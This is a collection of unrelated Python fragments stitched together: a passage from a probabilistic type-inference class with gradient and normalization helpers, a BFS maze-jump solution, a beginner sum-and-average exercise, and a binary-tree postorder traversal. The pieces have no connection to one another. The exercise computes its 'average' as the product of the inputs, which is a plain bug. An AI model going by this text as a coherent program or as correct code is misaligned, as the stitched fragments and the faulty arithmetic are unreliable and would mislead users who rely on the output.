        # print_to_file('grad chek is called.')
        # q_approx = self.grad_chek(w_j_z)
        # print(q_total)
        # print_to_file(q_approx)
        # print(q_total-q_approx)
        # print_to_file('gradient norm ' + str(vecnorm(q_total, ord=np.Inf)))
        # print_to_file('gradient approx norm' + str(vecnorm(q_approx, ord=np.Inf)))
        # print_to_file('gradients diff norm' + str(vecnorm(q_total - q_approx)))

        return q_total

    ###################### GRADIENT HELPERS #######################
    def scale_wrt_type(self, gradient, q, t, y_i):
        temp = normalize_log_probs(q)[t]
        return gradient * (1 - temp) if t == y_i else -1 * gradient * temp

    def gradient_initial_optimized_new(self, runner, state, t, x, q, temp, counter, y_i):
        exp_param = 1 - np.exp(runner.machines[2 + t].I[state])

        cs_temp = [runner.machines[2 + t].calculate_gradient_initial_state_optimized(str(x_i), state) for x_i in x]
        cs = np.reshape(cs_temp, newshape=(len(cs_temp),))

        gradient = (temp * counter * cs * exp_param).sum()
        return (self.scale_wrt_type(gradient, q, t, y_i))

    def gradient_transition_optimized_new(self, runner, a, b, c, t, q, x, y_i, temp_gra, counts_array):

        cs_temp = [runner.machines[2 + t].calculate_gradient_abc_new_optimized(str(x_i), a, b, c) for x_i in x]
        cs_temp = np.reshape(cs_temp, newshape=(len(cs_temp),))
        temp_mult = (temp_gra * cs_temp * counts_array).sum()

        exp_param = 1 - np.exp(runner.machines[2 + t].T[a][b][c])
        gradient = exp_param * temp_mult

        return self.scale_wrt_type(gradient, q, t, y_i)

    def gradient_transition_optimized_new_marginals(self, runner, marginals, a, b, c, t, q, x, y_i, temp_gra, counts_array):

        temp_mult = temp_gra * runner.machines[2 + t].calculate_gradient_abc_new_optimized_marginals(marginals[str(x)], str(x), a, b, c) * counts_array
        exp_param = 1 - np.exp(runner.machines[2 + t].T[a][b][c])
        gradient = exp_param * temp_mult

        return self.scale_wrt_type(gradient, q, t, y_i)

    def gradient_final_optimized_new(self, runner, final_state, t, x, q, temp, counter, y_i):
        exp_param = 1 - np.exp(runner.machines[2 + t].F[final_state])

        cs_temp = [runner.machines[2 + t].calculate_gradient_final_state_optimized(str(x_i), final_state) for x_i in x]
        cs = np.reshape(cs_temp, newshape=(len(cs_temp),))
        gradient = sum(temp * counter * cs * exp_param)

        return self.scale_wrt_type(gradient, q, t, y_i)

    ###################### HELPERS #######################
    def grad_chek(self, w_j_z):
        EPS = 1e-8

        runner = self.current_runner
        grad_approx = []

        for k in range(len(w_j_z)):
            # updates the parameters
            w_j_z[k] = w_j_z[k] + EPS
            runner, temp_w_j_z = self.set_all_probabilities_z(runner, w_j_z)
            f_fwd = self.f_cols(w_j_z)

            # updates the parameters
            w_j_z[k] = w_j_z[k] - 2 * EPS
            runner, temp_w_j_z_ignored = self.set_all_probabilities_z(runner, w_j_z)
            f_bwd = self.f_cols(w_j_z)

            grad_approx.append((f_fwd - f_bwd) / (2 * EPS))

            w_j_z = temp_w_j_z

        return np.array(grad_approx)

    ### GETTERS - SETTERS ###
    def set_data(self, data):
        self.data = data

    def set_data_multiple_dfs(self, _data_frame, _dataset_name=None, _column_names=None):
        if _dataset_name is None:
            _dataset_name = 'demo'
        _data_frame = _data_frame.rename(columns=lambda n: str(n).replace(' ', ''))

        # Check for dataframes without column names
        if _column_names is None:
            _column_names = _data_frame.columns

        # Creates a configuration object for the experiments
        config = Config(_dataset_name=_dataset_name, _column_names=_column_names, _types=self.types)

        # Ptype model for inference
        self.set_params(config, _data_frame=_data_frame)

    def set_params(self, _experiment_config, _data_frame):
        self.experiment_config = _experiment_config
        self.data = _data_frame

    def set_likelihoods(self, likelihoods):
        self.likelihoods = likelihoods

    def get_all_parameters_z(self, runner):
        w_j = []
        for t in list(self.experiment_config.types.keys()):
            t -= 1

            # normalize just to make sure it is normalized
            runner.machines[2 + t].I_z = self.normalize_initial_z(runner.machines[2 + t].I_z)

            for state in runner.machines[2 + t].I:
                if runner.machines[2 + t].I[state] != LOG_EPS:
                    w_j.append(runner.machines[2 + t].I_z[state])

            for a in runner.machines[2 + t].T_z:
                # normalize just to make sure it is normalized
                runner.machines[2 + t].F_z, runner.machines[2 + t].T_z = self.normalize_a_state_new(runner.machines[2 + t].F_z, runner.machines[2 + t].T_z, a)

                for b in runner.machines[2 + t].T[a]:
                    for c in runner.machines[2 + t].T[a][b]:
                        w_j.append(runner.machines[2 + t].T_z[a][b][c])

            for state in runner.machines[2 + t].F:
                if runner.machines[2 + t].F[state] != LOG_EPS:
                    w_j.append(runner.machines[2 + t].F_z[state])

        return w_j

    def set_all_probabilities_z(self, runner, w_j_z, normalize=False):
        counter = 0
        temp = []
        for t in list(self.experiment_config.types.keys()):
            t -= 1
            for state in runner.machines[2 + t].I:
                if runner.machines[2 + t].I[state] != LOG_EPS:
                    temp.append(runner.machines[2 + t].I_z[state])
                    runner.machines[2 + t].I_z[state] = w_j_z[counter]
                    counter += 1

            for a in runner.machines[2 + t].T:
                for b in runner.machines[2 + t].T[a]:
                    for c in runner.machines[2 + t].T[a][b]:
                        temp.append(runner.machines[2 + t].T_z[a][b][c])
                        runner.machines[2 + t].T_z[a][b][c] = w_j_z[counter]
                        counter += 1

            for state in runner.machines[2 + t].F:
                if runner.machines[2 + t].F[state] != LOG_EPS:
                    temp.append(runner.machines[2 + t].F_z[state])
                    runner.machines[2 + t].F_z[state] = w_j_z[counter]
                    counter += 1

            if normalize:
                runner.machines[2 + t].F_z, runner.machines[2 + t].T_z = self.normalize_a_state_new(runner.machines[2 + t].F_z, runner.machines[2 + t].T_z, state)
                runner.machines[2 + t].F, runner.machines[2 + t].T = runner.machines[2 + t].F_z, runner.machines[2 + t].T_z

                runner.machines[2 + t].I_z = self.normalize_initial(runner.machines[2 + t].I_z)
                runner.machines[2 + t].I = runner.machines[2 + t].I_z

        return runner, temp

    ### NORMALIZATION METHODS ###
    def normalize_a_state(self, F, T, a):
        # find maximum log probability
        log_mx = LOG_EPS
        for b in T[a]:
            for c in T[a][b]:
                if T[a][b][c] > log_mx:
                    log_mx = T[a][b][c]
        # sum
        sm = 0
        for b in T[a]:
            for c in T[a][b]:
                sm += np.exp(T[a][b][c] - log_mx)

        if F[a] != LOG_EPS:
            if log_mx == LOG_EPS:
                sm += 1.
            else:
                sm += np.exp(F[a] - log_mx)

        # normalize
        for b in T[a]:
            for c in T[a][b]:
                T[a][b][c] = np.log(np.exp(T[a][b][c] - log_mx)/sm)
        if F[a] != LOG_EPS:
            if log_mx == LOG_EPS:
                F[a] = 0.
            else:
                F[a] = np.log(np.exp(F[a] - log_mx)/sm)

        return F, T

    def normalize_a_state_new(self, F, T, a):
        # find maximum log probability
        params = []
        for b in T[a]:
            for c in T[a][b]:
                params.append(T[a][b][c])

        if F[a] != LOG_EPS:
            params.append(F[a])

        log_mx = max(params)
        sm = sum([np.exp(param - log_mx) for param in params])

        # normalize
        for b in T[a]:
            for c in T[a][b]:
                T[a][b][c] = np.log(np.exp(T[a][b][c] - log_mx)/sm)
        if F[a] != LOG_EPS:
            if log_mx == LOG_EPS:
                F[a] = 0.
            else:
                F[a] = np.log(np.exp(F[a] - log_mx)/sm)

        return F, T

    def normalize_initial(self, I):
        # find maximum log probability
        log_mx = LOG_EPS
        for a in I:
            if I[a] != LOG_EPS and I[a]>log_mx:
                log_mx = I[a]
        # sum
        sm = 0
        for a in I:
            if I[a] != LOG_EPS:
                sm += np.exp(I[a] - log_mx)

        # normalize
        for a in I:
            if I[a] != LOG_EPS:
                I[a] = I[a] - log_mx - np.log(sm)

        return I

    def normalize_initial_z(self, I_z):
        # I = deepcopy(I)
        # find maximum log probability
        log_mx = LOG_EPS
        for a in I_z:
            if I_z[a] != LOG_EPS and I_z[a]>log_mx:
                log_mx = I_z[a]
        # sum
        sm = 0
        for a in I_z:
            if I_z[a] != LOG_EPS:
                sm += np.exp(I_z[a] - log_mx)

        # normalize
        for a in I_z:
            if I_z[a] != LOG_EPS:
                I_z[a] = I_z[a] - log_mx - np.log(sm)

        return I_z

    def normalize_final(self, F, T):
        for state in F:
            F, T = self.normalize_a_state_new(F, T, state)

        return F, T


import sys
from collections import deque
sys.stdin = open('input.txt')

N = int(sys.stdin.readline().strip())
miro = list(map(int, sys.stdin.readline().split()))

queue = deque([0])
visited = [0] * N
visited[0] = 1
while queue:
    i = queue.popleft()
    for j in range(miro[i], 0, -1):
        ni = i + j
        if ni < N and not visited[ni]:
            visited[ni] = visited[i] + 1
            queue.append(ni)

print(visited[-1] - 1 if visited[-1] else -1)


# Write a program that asks for 5 integers in a row,
# then it should print the sum and the average of these numbers like:
#
# Sum: 22, Average: 4.4

input_1 = int(input("Nr.1= "))
input_2 = int(input("Nr.2= "))
input_3 = int(input("Nr.3= "))
input_4 = int(input("Nr.4= "))
input_5 = int(input("Nr.5= "))

output_sum = input_1 + input_2 + input_3 + input_4 + input_5
output_avg = input_1 * input_2 * input_3 * input_4 * input_5
print("Sum: " , output_sum , "Average: " , output_avg )


class Solution:
    def postorderTraversal(self, root: TreeNode) -> List[int]:
        stack = []
        ans = []

        if root:
            stack.append(root)

        while stack:
            node = stack.pop()

            if node.left:
                stack.append(node.left)

            if node.right:
                stack.append(node.right)

            ans.append(node.val)

        return ans[::-1]